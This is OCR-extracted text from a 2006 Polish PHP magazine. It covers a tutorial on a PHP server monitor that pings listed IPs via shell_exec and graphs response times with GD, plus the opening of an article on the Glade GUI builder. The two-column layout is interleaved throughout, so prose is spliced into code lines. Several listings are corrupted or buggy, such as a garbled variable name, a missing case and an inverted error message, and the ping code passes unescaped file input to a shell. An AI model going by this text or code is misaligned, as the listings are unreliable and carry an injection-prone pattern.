zacji wykresu w czasie rzeczywistym. Na ływana z centralnego skryptu, ping.php Mamy już działający system zdolny
przetestować wszystkie serwery, zapisać
Listing 1. Wykonanie polecenia ping rezultaty i wyświetlić wyniki ostatniego
testu. Dodatkowo, nasz system automa-
// Wykonaj polecenie ping w zależności od systemu operacyjnego tycznie wykona cały proces co każde
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { X sekund, aż do zakończenia sesji prze-
$command = shell_exec("ping -n 1 $ip[$i]"); // Polecenie ping (MS Windows)
glądarki. Brakuje nam tylko graficznej
} else {
$command = shell_exec("ping -c 1 $ip[$i]"); // Polecenie ping (UNIX/Linux) prezentacji wyników.
}
Prezentacja wyników
Listing 2. Uzyskanie czasu pingowania ze zwróconego łańcucha $command – rysujemy wykresy
// Wydobądź czas pingowania ze zwróconego łańcucha
Język PHP umożliwia dynamiczne gene-
if (eregi("Request timed out", $command)) { // sprawdzenie opóźnień rowanie grafiki. Wykorzystamy tę cechę
$mstime = 0.0; do tworzenia obrazów zawierających
} else { // Ping zadziałał – pobierz czas wykresy liniowe. Kod odpowiedzialny za
$mstime = 0.0;
rysowanie wykresów umieścimy w pliku
$bp = stripos($command, "time=")+5;
$ep = stripos($command, "ms");
linegraph.php.
$mstime = substr($command, $bp, $ep-$bp); Pierwszym krokiem będzie utworze-
} nie PHP-owego obiektu zawierającego
$iptime[$i] = $mstime; obraz. Dokonamy tego za pomocą funkcji
imagecreate(), tworząc obiekt o nazwie
Listing 3. Pobieranie listy serwerów do tablicy
$image. Następnie narysujemy wykres
// Odczytaj listę adresów IP z pliku ips.txt w tym obiekcie. Na koniec uzyskamy dane
$linips.txtes = @file("ips.txt"); wyjściowe obiektu $image w standardo-
if (!$lines) { // Sprawdź, czy się nie udało wym formacie i zwrócimy je do procesu
print("Błąd ładowania pliku z adresami IP: ips.txt<br>");
wywołującego. W naszym przypadku for-
exit;
} matem wyjściowym będzie PNG, a obraz
$ipcount = 0; zwrócimy do przeglądarki internetowej.
foreach ($lines as $line) { Kod wykonujący te czynności pokazujemy
$line = trim($line); na Listingu 9.
if (strlen($line)>0) {
Język PHP pozwala uzyskać obraz
$ip[$ipcount] = trim($line);
$ipcount++; wyjściowy w różnych formatach, mię-
} dzy innymi GIF, JPEG i TIFF. Jednak
} w przypadku zastosowań wymagających
wykresów dobrze będzie użyć PNG, gdyż
Listing 4. Zapisywanie wyników
format ten wykorzystuje bezstratny algo-
// Zachowaj wyniki w pliku pingresult.txt rytm kompresji i obsługuje większą paletę
$handle = @fopen("pingresult.txt","a"); kolorów niż GIF.
if (!$handle) { Musimy zapamiętać kilka ważnych
print("Udało się otworzyć lub utworzyć plik: pingresult.txt<br>"); informacji. Po pierwsze, nasz skrypt
exit;
generuje nagłówki informujące przeglą-
} else {
$datetime = time(); darkę, że dostarczane dane mają postać
for ($i=0;$i<$ipcount;$i++) { obrazu w formacie PNG. Istotne jest, by
$result = $ip[$i].",".$iptime[$i].",".$datetime."\n"; skrypt nie wysyłał przeglądarce żadnych
if (!fwrite($handle, $result)) { innych danych, nawet znaku spacji czy
print("Nie można zapisać do pliku pingresult.txt");
entera (CR). Jeśli tak się stanie, silnik
exit;
} PHP automatycznie wyśle nagłówki in-
} formujące o przesyłaniu pliku text/html,
} a nasze wysiłki spełzną na niczym. Druga
fclose($handle); istotna uwaga dotyczy faktu, iż ustawiamy
również wysokość i szerokość obrazu.
Wymiary te muszą dokładnie odpowiadać

58 www.phpsolmag.org PHP Solutions Nr 2/2006
ServerMonitor Projekty

parametrom width i height znacznika  odczytać informacje z dwóch plików: 90 % powierzchni wykorzystywanej
<img> w dokumencie HTML, w którym ips.txt i pingresult.txt, siatki,
prezentujemy wyniki. Jeśli dane te nie  określić kolor dla każdego z adresów IP,  narysować wykres.
będą identyczne, wykres będzie znie-  pobrać wyłącznie ostatnie 10 rezulta-
kształcony. tów z pliku zawierającego wyniki, Na Listingach 10 i 11 prezentujemy kod
Wróćmy teraz do rysowania wykresu.  obliczyć (na podstawie czasów wykonujący pierwsze cztery kroki – omó-
Musimy wykonać następujące kroki: pingowania) skalę, która obejmie wimy ich najciekawsze fragmenty.
Pierwszy z nich dotyczy definicji
Listing 5. Kompletna funkcja pingująca kolorów. Zanim dany kolor zostanie
wykorzystany przez funkcję rysującą,
function ping_function() { // Odczytaj listę adresów IP z pliku ips.txt musi zostać zdefiniowany i dodany do
$lines = @file("ips.txt"); palety obrazu. Służy do tego funkcja
if (!$lines) { // Sprawdź, czy odczytanie się powiodło
imagecolorallocate(). Po drugie, aby
print("Błąd ładowania pliku z adresami IP: ips.txt<br>");
exit; proces rysowania wykresu przebiegał
} szybko i prosto, uwzględnimy tylko 10
$ipcount = 0; ostatnich wyników z pliku. Ostatni istot-
foreach ($lines as $line) { ny fragment kodu dotyczy obliczania
$line = trim($line);
skali – aplikacja powinna być prosta
if (strlen($line)>0) {
$ip[$ipcount] = trim($line); i szybka w działaniu, więc nasze obli-
$ipcount++; czenia będziemy przeprowadzać w spo-
} sób dość podstawowy, choć technicznie
} // Pinguj każdy z adresów IP poprawny.
for ($i=0;$i<$ipcount;$i++) {
Teraz musimy tylko wygenerować wy-
// Wykonaj polecenie ping w zależności od systemu operacyjnego
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { kres. W tym celu powinniśmy narysować:
$command = shell_exec("ping -n 1 $ip[$i]"); // Polecenie ping w MS Windows
} else {  tło,
$command = shell_exec("ping -c 1 $ip[$i]");  siatkę,
// Polecenie ping w systemach UNIX/Linux
 etykiety osi X,
} // Wydobądź czas pingowania ze zwróconego łańcucha
if (eregi("Request timed out", $command)) {// sprawdzenie opóźnień  etykiety osi Y,
$mstime = 0.0;  legendę.
} else { // ping zadziałał, pobierz czas
$mstime = 0.0; Oczywiście, musimy też umieścić na
$bp = stripos($command, "time=")+5;
wykresie dane o odpowiednich warto-
$ep = stripos($command, "ms");
$mstime = substr($command, $bp, $ep-$bp); ściach.
} Wszystkie te zadania zrealizujemy za
$iptime[$i] = $mstime; pomocą osobnych funkcji, które przedsta-
} // Zapisz wyniki w pliku pingresult.txt
$handle = @fopen("pingresult.txt","a");
if (!$handle) { Listing 7. Podstawa skryptu pingu-
print("Nie udało się otworzyć lub utworzyć pliku: pingresult.txt<br>"); jącego
exit;
} else { // Wywołaj funkcję pingującą
$datetime = time(); ping_function();
for ($i=0;$i<$ipcount;$i++) {
$result = $ip[$i].",".$iptime[$i].",".$datetime."\n"; // Utwórz nagłówek strony ze
if (!fwrite($handle, $result)) { // skryptem odświeżającym
print("Nie można zapisać wyników do pliku pingresult.txt"); ?><html>
exit; <body>
} <script language='JavaScript'>
} <!--
} setTimeout('refresh()',2000);
fclose($handle); function refresh()
return; {
} location.href = 'ping.php';
}
Listing 6. Funkcja do odświeżania – JavaScript --></script><?php
// Wypisz wyniki ostatniego
<script language='JavaScript'><!-- // pingowania dla każdego adresu IP
setTimeout('refresh()',2000); results_table();
function refresh() {
location.href = 'ping.php'; // Utwórz stopkę strony
print "} ?></body></html>

PHP Solutions Nr 2/2006 www.phpsolmag.org 59
Projekty ServerMonitor

wiamy na Listingach 12 i 13. Przeanalizuj-
my ich najważniejsze aspekty. Listing 8. Funkcja results_table()
Pierwszą interesującą funkcją jest
function results_table() {
imagefilledrectangle(). Wypełnia ona // Określ liczbę adresów IP
prostokąt określonym kolorem (zdefiniowa- $lines = @file("ips.txt");
nym wcześniej). Funkcję tę wykorzystamy
później w innej funkcji, o nazwie draw_ if (!$lines) { // Sprawdź, czy się nie udało
print("Błąd ładowania pliku z adresami IP: ips.txt<br>");
background(), aby wypełnić cały obraz
exit;
kolorem tła (w tym przypadku czarnym). }
Kolejną ważną funkcją jest wbudo- $ipcount = 0;
wana do modułu GD imageline(), która foreach ($lines as $line) {
odpowiada za rysowanie linii prostych. $line = trim($line);
if (strlen($line)>0) {
Jest na tyle elastyczna, że pozwala ryso-
$ip[$ipcount] = trim($line);
wać różne rodzaje linii – od ciągłych do $ipcount++;
linii o zdefiniowanym typie. Wykorzystamy }
tę możliwość w kolejnej funkcji, którą na- }
zwiemy draw_grid(). Jej zadaniem będzie $lines = @file("pingresult.txt");

rysowanie siatki w postaci zielonych linii
if (!$lines) { // See if it failed
przerywanych. print("Błąd ładowania pliku: pingresult.txt<br>");
Funkcje draw_xlabels(), draw_ exit;
ylabels() oraz draw_legend() posłużą }
nam do umieszczenia opisów: etykiet osi else {
foreach ($lines as $line) {
X i Y oraz legendy. Każda z nich będzie
// Każda linia pliku z wynikami zawiera 3 elementy reprezentujące:
korzystać z funkcji imagestring(), uży- // adres IP, czas pingowania w ms i datę pingowania
wanej do umieszczania tekstu. Niezbęd- $components = explode(",", $line);
ne parametry to umiejscowienie obrazu, $series = -1;
czcionka, pozycja pozioma (x), pozycja for ($i=0;$i<$ipcount;$i++) {
if (strcasecmp($components[0], $ip[$i]) == 0) { $series = $i; }
pionowa (y), tekst do wyświetlenia i je-
if ($series > -1) {
go kolor. My użyjemy prostych czcionek $ip_datetime[$series] = date("Y-m-d G:i:s",$components[2]);
dostępnych we wszystkich instalacjach $ip_time[$series] = $components[1];
PHP, choć mamy również możliwość }
korzystania z czcionek TrueType i Free- }
}
Type.
}
Przejdźmy do naszej następnej funk- // Tabela rozpoczynająca plik HTML
cji o nazwie plot_values(). Będzie ona $content = "<table width='400' border='1' cellspacing='0' cellpadding='5'
odpowiadała za dwie rzeczy – rysowanie bgcolor='#FFFFFF'>\n<tr bgcolor='#CCFFFF'> \n<td colspan='3'> \n".
linii ciągłych pomiędzy punktami danych " <div align='center'><font color='#006666'><b><font face='Arial, Helvetica,
sans-serif' size='2'>Wyniki ostatniego pingowania</font></b></font>
za pomocą funkcji imageline(), a na-
</div></td></tr><tr><td>".
stępnie za rysowanie małych okręgów dla " <div align='left'><font color='#006666'><b><font face='Arial, Helvetica,
każdej wartości danych przy użyciu funk- sans-serif' size='2'>Adres IP</font></b></font></div></td><td> \n".
cji imagearc(). I to wszystko – nasz skrypt " <div align='left'><font color='#006666'><b><font size='2' face='Arial,
linegraph.php jest gotowy. Helvetica, sans-serif'>Date/Time</font></b></font></div></td><td>\n".
" <div align='left'><font color='#006666'><b><font face='Arial, Helvetica,
sans-serif' size='2'>Czas pingowania</font></b></font></div></td></tr>\n";
Wywoływanie
skryptu linegraph.php for ($i=0;$i<$ipcount;$i++) {
Aby dodać wykres do strony HTML z wy- // Dodaj do tabeli wiersz dla każdego IP
nikami, korzystamy ze znacznika <img>, $content = $content." <tr><td>".
" <div align='left'><font face='Arial, Helvetica, sans-serif'
którego element SRC wskazuje na skrypt
size='2'>".$ip[$i]."</font></div></td><td>".
linegraph.php. Jedyne parametry, na które " <div align='left'><font face='Arial, Helvetica, sans-serif'
powinniśmy zwrócić uwagę, to wysokość size='2'>".$ip_datetime[$i]."</font></div></td><td> \n".
i szerokość – wymiary te muszą się zga- " <div align='left'><font face='Arial, Helvetica, sans-serif'
dzać z ustawionymi na początku skryptu size='2'>".$ip_time[$i]."ms</font></div></td></tr>\n";
}
linegraph.php:
// Koniec tabeli (HTML)
$content = $content."</table>\n";
<img src='linegraph.php' width='660' // Wyświetl tabelę
height='400'> print $content;
return;
}
Linijkę tę należy umieścić na samym koń-
cu skryptu ping.php (patrz Listing 14).

60 www.phpsolmag.org PHP Solutions Nr 2/2006
ServerMonitor Projekty

Nasz Server Monitoring System jest
Listing 9. Generowanie obrazu PNG
gotowy. Możemy zatem zająć się jego
$width = 660; instalacją i testowaniem.
$height = 400;
// Utwórz obraz, na którym będziemy rysować wykres Dalszy rozwój systemu
$image = @imagecreate($width, $height) or die(
Stworzony przez nas system monitoro-
"Nie można zainicjalizować nowego strumienia obrazu GD");
wania jest szybki i prosty – może być
// Ustaw dane nagłówkowe. Upewnij się, że przeglądarka nie buforuje obrazów
header('Expires: Sat, 01 January 2000 05:00:00 GMT'); używany na niemal każdym serwerze.
header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . 'GMT'); Oznacza to jednak, że nie mogliśmy za-
header('Cache-Control: no-cache, must-revalidate'); implementować pewnych funkcji. Przede
header('Pragma: no-cache'); // Ustaw format obrazu
wszystkim, proces monitorujący jest ak-
header("Content-type: image/png"); // Wyślij obraz do przeglądarki
tywny wyłącznie podczas oglądania strony
imagepng($image);
// Zniszcz zasoby i zakończ z wynikami. Aby to zmienić, musielibyśmy
imagedestroy($image); wykorzystać oprogramowanie obsługujące
exit; działania cykliczne (na przykład demona
// NIE UMIESZCZAJ NICZEGO PONIŻEJ ZAMYKAJĄCEGO ZNACZNIKA PHP, NAWET SPACJI ANI
cron) i umieścić funkcję ping_function()
// POWROTU KARETKI, BO WYKRES NIE ZOSTANIE WYGENEROWANY!!!
w osobnym skrypcie. Czy warto? O tym
?>
powinniście zadecydować sami. Zalety
Listing 10. Definiowanie i obliczanie parametrów wykresu takiego rozwiązania to między innymi
możliwość informowania o awariach ser-
// Ustaw kolory i rozmiar czcionki
wera, choćby za pośrednictwem poczty
$backgroundcolor = imagecolorallocate($image, 0, 0, 0);
$gridlinecolor = imagecolorallocate($image, 0, 150, 0);
elektronicznej. Jednak z drugiej strony,
$labelcolor = imagecolorallocate($image, 255, 255, 255); taka funkcjonalność może powodować
$font=2; pewne problemy – na przykład obciążenie
// Określ liczbę adresów IP, które uwzględni rysunek systemu e-mailowego w przypadku czę-
$lines = @file("ips.txt");
stych awarii.
if (!$lines) { // Sprawdź, czy się nie udało
print("Błąd ładowania pliku z adresami IP: ips.txt<br>");
Inne utrudnienie wiąże się z tym, że
exit; w wielu instalacjach PHP włączana jest
} opcja safe_mode (w pliku php.ini). Unie-
$ipcount = 0; możliwia ona używanie niektórych spośró
foreach ($lines as $line) {
wykorzystywanych przez program pin-
$line = trim($line);
if (strlen($line)>0) {
gujący funkcji, włącznie z shell_exec().
$ip[$ipcount] = trim($line); Opcja ta jest często aktywna na serwe-
$ipcount++; rach współdzielonych, udostępnianych
} przez dostawców Internetu. Aplikacja
} // Ustaw kolor dla każdego z adresów IP
umieszczona na takiej maszynie wyma-
for ($i=0;$i<=$ipcount;$i++) {
// Pierwsze 3 adresy IP mają zdefiniowane kolory.
gałaby więc wykorzystania innej metody
// Dla kolejnych adresów wartość kolorów zostanie obliczona. testowania naszych serwerów. Można na
if ($i<=3) { przykład nawiązać z testowanym serwe-
switch ($i) { rem połączenie typu socket za pomocą
case 0: $ipcolor[$i] = imagecolorallocate($image, 255, 50, 50); break;
funkcji fsockopen() lub – jeżeli omawiany
case 1: $ipcolor[$i] = imagecolorallocate($image,100, 100, 255);break;
case 3: $ipcolor[$i] = imagecolorallocate($image, 255, 0, 255); break;
serwer jest serwerem WWW – po prostu
} zmierzyć czas otwarcia strony domowej
} else { witryny. Warto jednak rozważyć, czy
$red = $i*200; umieszczenie naszego programu na ser-
$green = 128 + $i*150;
werze współdzielonym w ogóle ma sens.
$blue = 255 - $i*100;
while ($red>255) {$red = $red - 250;}
Serwery tego typu generują przecież
while ($green>255) {$green = $green - 250;} duży ruch i mają małą wydajność, a my
while ($blue<0) {$blue = $blue + 250;} potrzebujemy dość szybkiej maszyny. Le-
$ipcolor[$i] = imagecolorallocate($image, $red, $green, $blue); piej więc zainstalować aplikację na kom-
}
puterze lokalnym, na którym postawimy
} // Oczytaj dane z pliku pingresult.txt. Uruchom liczniki
for ($i=0;$i<=$ipcount;$i++) {
serwer WWW.
$ip_count[$i] = 0; Co więcej, jeżeli nasza aplikacja
} ma testować wiele serwerów przez
$lines = @file("pingresult.txt"); długi czas, lepiej byłoby dodać funkcje
if (!$lines) { // Sprawdź, czy się nie udało
zarządzające plikiem z wynikami, na
print("Błąd ładowania pliku: pingresult.txt<br>");
exit;
przykład w celu wyczyszczenia go, gdy
} lista stanie się zbyt długa, lub w celu
archiwizacji najstarszych wpisów. Warto

PHP Solutions Nr 2/2006 www.phpsolmag.org 61
Projekty ServerMonitor

Listing 11. Definiowanie i oblicznie parametrów wykresu, c.d. Listing 12. Rysowanie elementów wykresu liniowego

else { function draw_background() {
foreach ($lines as $line) { global $image,$backgroundcolor,$width,$height;

// Każda linia pliku z wynikami zawiera 3 // Kolor tła
// elementy reprezentujące: adres IP, imagefilledrectangle($image,0,0,$width,$height,
// czas pingowania w ms i datę pingowania $backgroundcolor);
$components = explode(",", $line); return;
$series = -1;
for ($i=0;$i<$ipcount;$i++) { }
if(strcasecmp($components[0],$ip[$i])==0)
{$series = $i;} function draw_grid() {
} global $image, $gridlinecolor;

if ($series > -1) { // Rysuj siatkę. Ustaw styl linii tak,
$ip_data[$series][$ip_count[$series]]= // aby były one przerywane
$components[1]; $style=array($gridlinecolor,$backgroundcolor);
$ip_time[$series][$ip_count[$series]]= imagesetstyle($image, $style);
$components[2];
$ip_count[$series]++; // pionowe linie siatki
} for ($i = 0; $i <= 10; $i++) {
} imageline($image,50+60*$i,50,50+60*$i,350,
} IMG_COLOR_STYLED);
}
// Posortuj dane i wskaż 10 ostatnich obiektów
// dla każdego adresu IP na wykresie // poziome linie siatki
for ($j=0;$j<10;$j++) { for ($i = 0; $i <= 10; $i++) {
for ($i=0;$i<$ipcount;$i++) { imageline($image,50,50+$i*30,650,50+$i*30,
$points[$i][$j] = 0.0; IMG_COLOR_STYLED);
} }
$xlabel[$j] = " "; return;
} }

$npoints = 0; function draw_xlabels() {
while($npoints<=10&&($ip_count[0]-$npoints)>-1){ global $image,$labelcolor,$xlabel,$font;
for ($i=0;$i<$ipcount;$i++) {
$points[$i][10-$npoints]=$ip_data[$i] // Rysuj etykiety osi X
[$ip_count[$series]-$npoints]; for($i=0;$i< 10;$i++){
} imagestring($image,$font,50+60*$i,355,$xlabel[$i],
$xlabel[10-$npoints]=date("G:i:s",$ip_time[0] $labelcolor);
[$ip_count[$series]-$npoints]); }
$npoints++; return;
} }

// Oblicz skalę wykresu function draw_ylabels() {
$max = -999999.99; global $image, $labelcolor, $font, $starty, $scale;
$min = 999999.99;
// Rysuj wartości osi Y
// Oblicz wartości minimalne i maksymalne for ($i = 0; $i <= 10; $i++) {
for ($j=0;$j<10;$j++) { $yvalue = $starty + $i * $scale;
for ($i=0;$i<$ipcount;$i++) { $format_yvalue=number_format($yvalue,2,".",",");
if ($points[$i][$j]>$max){ $format_yvalue = $format_yvalue."ms";
$max = $points[$i][$j]; imagestring($image,$font,3,342-$i*30,
} $format_yvalue,$labelcolor);
if($points[$i][$j]<$min){ }
$min = $points[$i][$j]; return;
} }
}
} function draw_legend() {
global $image,$ipcolor,$ip,$ipcount,$font;
// Oblicz skalę tak, by maksymalne for ($i=0;$i<$ipcount;$i++) {
// wartości wyniosły 90% skali imagestring($image,$font,50+$i*100,20,$ip[$i],
$range = $max - $min; $ipcolor[$i]);
$max = $max + $range/20; }
$min = $min - $range/20; return;
$starty = $min; }
$scale = ($max - $min)/10;

62 www.phpsolmag.org PHP Solutions Nr 2/2006
ServerMonitor Projekty

też rozważyć użycie bazy danych (najle-
Listing 13. Rysowanie elementów wykresu liniowego, c.d. piej szybkiej).
Wreszcie, funkcjonalność funkcji
function plot_values() {
global $image, $starty, $scale, $points, $ipcolor, $ipcount; rysującej wykresy z założenia jest
ograniczona. Można rozważyć wpro-
// rysuj linie wadzenie pewnych ulepszeń, takich jak
for ($j=1;$j<10;$j++) {
zwiększenie ilości umieszczanych da-
for ($i=0;$i<$ipcount;$i++) {
nych, tudzież rozbudowa mechanizmu
// Oblicz pozycję końca linii obliczania skali.
$x1 = 80 + 60*$j;
$y1 = 350 - (($points[$i][$j]-$starty)*30)/$scale; Podsumowanie
// Oblicz pozycję początku linii
Nasz system Server Monitor to do-
$x2 = 80 + 60*($j-1);
skonały przykład możliwości języka
$y2 = 350 - (($points[$i][$j-1]-$starty)*30)/$scale;
// Rysuj linię PHP związanych z rysowaniem wykre-
imageline ($image, $x2, $y2, $x1, $y1, $ipcolor[$i]); sów. Wykazaliśmy, że dane w postaci
} graficznej mają większe znaczenie,
}
a ich interpretacja przez użytkownika
jest łatwiejsza i szybsza. Co więcej,
// Rysuj punkty
for ($j=0;$j<10;$j++) { gruntownie przedstawiliśmy możliwości
for ($i=0;$i<$ipcount;$i++) { biblioteki GD, służącej jako silnik odpo-
wiadający za wizualną stronę aplikacji.
// Oblicz pozycję tego punktu
Warto posłużyć się naszym przykładem
$xpos = 80 + 60*$j;
jako punktem wyjścia do do dalszego
$ypos = 350 - (($points[$i][$j]-$starty)*30)/$scale;
// Rysuj punkt zgłębiania wiedzy o bibliotece GD i ge-
imagearc ( $image, $xpos, $ypos, 4, 4, 0, 360, $ipcolor[$i]); nerowaniu wykresów za pomocą języka
} PHP. 
}
return;
}

Listing 14. Dodanie wykresu liniowego do strony z wynikami
O autorze
// Rysuj wyniki
// z pliku pingresult.txt
Patrick O'Brien jest założycielem
print("<br><br>Ping Results
i twórcą strony Jpowered.com oferującej
zaawansowane oprogramowanie dla
Graph<br>\n");
projektantów WWW i programistów.
print("<IMG SRC='linegraph.php'
Witryna autora:
WIDTH='660' HEIGHT='400'><BR>\n");
http://www.jpowered.com

R E K L A M A

PHP Solutions Nr 2/2006 www.phpsolmag.org 63
Projekty

Glade GUI Builder
– piszemy generator faktur
Stopień trudności: 
Pablo Dall’Oglio

Ręczne stworzenie interfejsu graficznego GTK
dla aplikacji PHP nie jest zadaniem trudnym,
a może zaowocować lepszą wydajnością.
Wymaga jednak sporo czasu, którego twórcom
aplikacji często brakuje. W takiej sytuacji
konieczne staje się skorzystanie z narzędzia
graficznego...

Paleta

G
lade to narzędzie ułatwiające
tworzenie opartych na GTK inter- Pierwszym elementem każdego projektu
fejsów dla aplikacji napisanych Glade jest okno, dostępne jako pierw-
m.in. w C++, Pythonie, PHP czy Perlu. Za szy element palety Glade (Rysunek 2)
jego pomocą w prosty sposób umiescimy i reprezentujące komponent GtkWindow.
potrzebne elementy, m.in. okna, listy, przy- Kliknięcie elementu Okno na palecie
ciski i ramki. Glade służy wyłącznie do ge- spowoduje wyświetlenie pierwszego
nerowania struktury interfejsu użytkownika okna tworzonego interfejsu, w którym
i nie jest edytorem kodu, ani środowiskiem możemy następnie umieszczać kolej-
programistycznym. ne komponenty (widgety) dostępne na
Ostateczny układ interfejsu jest zapi- palecie, na przykład GtkHBox (skrzynkę
sywany w XML-owym pliku o rozszerzeniu poziomą), GtkVBox (skrzynkę pionową),
W SIECI .glade.
Co powinieneś wiedzieć...
Podstawy Glade’a Powinieneś znać podstawy tworzenia
1. http://glade.gnome.org
– strona główna projektu Pasek narzędzi w głównym oknie progra- aplikacji z GUI i pracy z PHP-GTK. Przy-
Glade mu Glade zawiera przyciski podstawowych da się również znajomość zasad progra-
2. http://http://gladewin32.so- mowania obiektowego.
operacji Otwórz i Zapisz, przycisk opcji
urceforge.net/ – Glade dla
Windows projektu oraz listę okien zawierających Co obiecujemy...
3. http://developer.gnome.org/ projekty. Menu Edycja zawiera typowe Dowiesz się jak napisać aplikację PHP5
doc/API/2.0/pango/
PangoMarkupFormat.html operacje Wytnij, Skopiuj i Wklej, a w menu generującą faktury, z GUI stworzonym
– dokumentacja formatu Widok dostępne są opcje wyświetlania po- przy użyciu programu Glade i dołączo-
Pango nym do aplikacji za pomocą rozszerzenia
4. http://gtk.php.net – strona szczególnych okien interfejsu Glade (pale- PHP-GTK.
główna PHP-GTK ty, właściwości i innych) – patrz Rysunek 1.

64 www.phpsolmag.org PHP Solutions Nr 2/2006
Glade Projekty

Instalacja
Program Glade stanowi standardowy element środowiska GNOME, więc powinien być
obecny we wszystkich dystrybucjach Linuksa to środowisko zawierających. Jeśli korzy-
stasz z Linuksa, a nie możesz znaleźć Glade’a, poszukaj odpowiedniego pakietu dla
używanej dystrybucji. W razie problemów ze znalezieniem takowego lub w celu uzyskania
najnowszej wersji, można też pobrać kod źródłowy ze strony głównej projektu Glade (http://
glade.gnome.org) i skompilować go poleceniami:

./configure
make
make install

W skład pakietu instalacyjnego Glade'a wchodzi plik INSTALL, zawierający informacje
o niestandardowych konfiguracjach programu.
Rysunek 1. Główne okno programu Instalacja w systemach Windows jest bardzo prosta – wystarczy pobrać plik instalato-
Glade ra ze strony http://gladewin32.sourceforge.net i uruchomić go.

GtkFixed (komponent pozycjonowania Wymagania
Glade wymaga obecności środowiska GTK-2. Korzystanie z interfejsów GTK z poziomu
bezwzględnego), GtkLabel (etykietę), PHP wymaga dodatkowo rozszerzenia PHP-GTK, dostępnego na stronie http://gtk.php.net
GtkEntry (pole tekstowe), GtkRadioButton, i jest możliwe wyłącznie w przypadku PHP5.
GtkCheckButton, GtkFrame, GtkImage,
GtkComboBox, GtkToolBar i inne.
Lista komponentów jest podzielona na skrzynkę pionową (komponent GtkVBox), w ramach okna. W przypadku pozycjono-
strony zawierające widgety podstawowe, a w jej drugim wierszu wstawiliśmy wania komponentu w kontenerze GtkVBox
dodatkowe i przestarzałe, przy czym te skrzynkę poziomą (GtkHBox). W tej ostat- lub GtkHBox możemy też zmieniać inne
ostatnie obejmują stare komponenty Gtk1 niej umieścimy etykietę (GtkLabel) w dru- właściwości, na przykład Rozszerzanie
(GtkFileSelection, GtkCTree, GtkCList giej kolumnie i pole tekstowe (GtkEntry) (czy kontener ma się dostosowywać do
itd.). w czwartej. rozmiaru widgeta) i Wypełnianie (czy
widget ma wypełniać całą dostępną prze-
Drzewo widgetów Okno właściwości strzeń w kontenerze).
Dostępna z menu Widok opcja Drzewo W oknie Właściwości (Rysunek 5) można Na Rysunku 6 pokazujemy też trzecią
widgetów wyświetla drzewo obrazujące modyfikować ustawienia aktualnie zazna- zakładkę właściwości o nazwie Typowe.
hierarchię wszystkich komponentów czonego komponentu. Zestaw dostępnych Zawiera ona wspólne dla wielu widgetów
aktualnego interfejsu. Każdy widget jest właściwości zależy od typu widgetu – wy-
widoczny jako osobny węzeł drzewa (Ry- branie dowolnego komponentu spowoduje
sunek 3), a hierarchia węzłów obrazuje re- wyświetlenie odpowiednich dla niego
lacje zawierania między widgetami, czyli to, atrybutów.
który widget jest rodzicem (parent), a który Okno Właściwości zawiera kilka
należącym do niego dzieckiem (child). zakładek. Pierwszą z nich jest zakładka
Funkcja ta jest szczególnie użyteczna, Widget, pozwalająca określać podstawo-
gdy pracujemy z widgetami niewidocznymi we właściwości wybranego komponentu.
(np. GtkHBox czy GtkVBox), gdyż umożliwia Najważniejszą z naszego punktu widzenia
łatwe zaznaczanie każdego komponentu właściwością jest nazwa widgetu, gdyż za
– wystarczy kliknąć jego węzeł prawym jej pomocą będziemy się do niego odwoły-
przyciskiem myszy i wybrać Zaznacz. Wła- wać w aplikacji.
ściwości aktualnie zaznaczonego widgetu Każdy typ komponentu ma swoje wła-
są wyświetlane w oknie Właściwości. sne atrybuty – przykładowo, dla widgetu
GtkLabel możemy określać tekst i wyrów-
Okno projektu nanie, dla GtkButton – ikonę i etykietę, dla
Wszystkie widgety są umieszczane GtkEntry maksymalną długość wprowa-
w głównym oknie projektu. Po lewej dzanego tekstu, itd.
stronie na Rysunku 4 widać okno Zawartość zakładki Upakowywanie
(komponent GtkWindow) zawierające zależy od stosowanego dla danego kom-
widget GtkFixed, pozwalający określać ponentu trybu pakowania – na Rysunku
bezwzględne pozycje widgetów (przyci- 6 przedstawiamy ustawienia dla dwóch
sków, etykiet, pól wyboru, itd.) w obrębie trybów. Jeśli widget jest umieszczony
okna. Drugie okno, które przedstawiamy w kontenerze GtkFixed (określającym
na tym samym rysunku demonstruje in- pozycjonowanie bezwzględne), do dys-
ny układ: w oknie umieściliśmy najpierw pozycji mamy jedynie jego współrzędne Rysunek 2. Paleta widgetów

PHP Solutions Nr 2/2006 www.phpsolmag.org 65
Projekty Glade

atrybuty, takie jak szerokość, wysokość, Pierwszy przykład (widget GtkVBox). W pierwszej komórce
widoczność, itp. Na początek stworzymy okno (widget skrzynki umieścimy etykietę zawierającą
Czwarta zakładka właściwości (Sygna- GtkWindow) zawierające skrzynkę pionową pogrubiony tekst Podaj imię, w drugiej
ły) pozwala kojarzyć sygnały zgłaszane
przez widget (w przypadku przycisku, czyli Listing 1. Przykładowy plik XML dla projektu Glade
widgetu GtkButton, będą to m.in. clicked,
pressed i released) z konkretnymi funk- <?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
cjami obsługi. Funkcję obsługi sygnału <!DOCTYPE glade-interface SYSTEM "http://glade.gnome.org/glade-2.0.dtd">
<glade-interface>
określamy podając jej nazwę i jest to
<widget class="GtkWindow" id="window1">
funkcja lub metoda aplikacji, która ma być <property name="visible">True</property>
wywołana w reakcji na zgłoszenie danego <property name="title" translatable="yes">okno1</property>
sygnału przez bieżący widget. Nie ma po- <property name="type">GTK_WINDOW_TOPLEVEL</property>
trzeby łączenia sygnałów z funkcjami na <property name="window_position">GTK_WIN_POS_NONE</property>
<property name="modal">False</property>
etapie pracy z Gladem, gdyż najczęściej
<property name="resizable">True</property>
odbywa się to dopiero podczas tworzenia <property name="destroy_with_parent">False</property>
samej aplikacji. <property name="decorated">True</property>
<property name="skip_taskbar_hint">False</property>
Plik XML <property name="skip_pager_hint">False</property>
<property name="type_hint">GDK_WINDOW_TYPE_HINT_NORMAL</property>
z definicją interfejsu <property name="gravity">GDK_GRAVITY_NORTH_WEST</property>
Zapisanie projektu Glade powoduje <property name="focus_on_map">True</property>
wygenerowanie pliku XML opisującego <child>
strukturę interfejsu (Listing 1). Plik ten <widget class="GtkVBox" id="vbox1">
zawiera nazwy widgetów oraz ich wła- <property name="visible">True</property>
<property name="homogeneous">False</property>
ściwości, a więc wymiary, etykiety, ikony,
<property name="spacing">0</property>
tryby pakowania, przypisania sygnałów <child><placeholder/></child><child>
do funkcji obsługi i inne. Właściwości każ- <widget class="GtkHBox" id="hbox2">
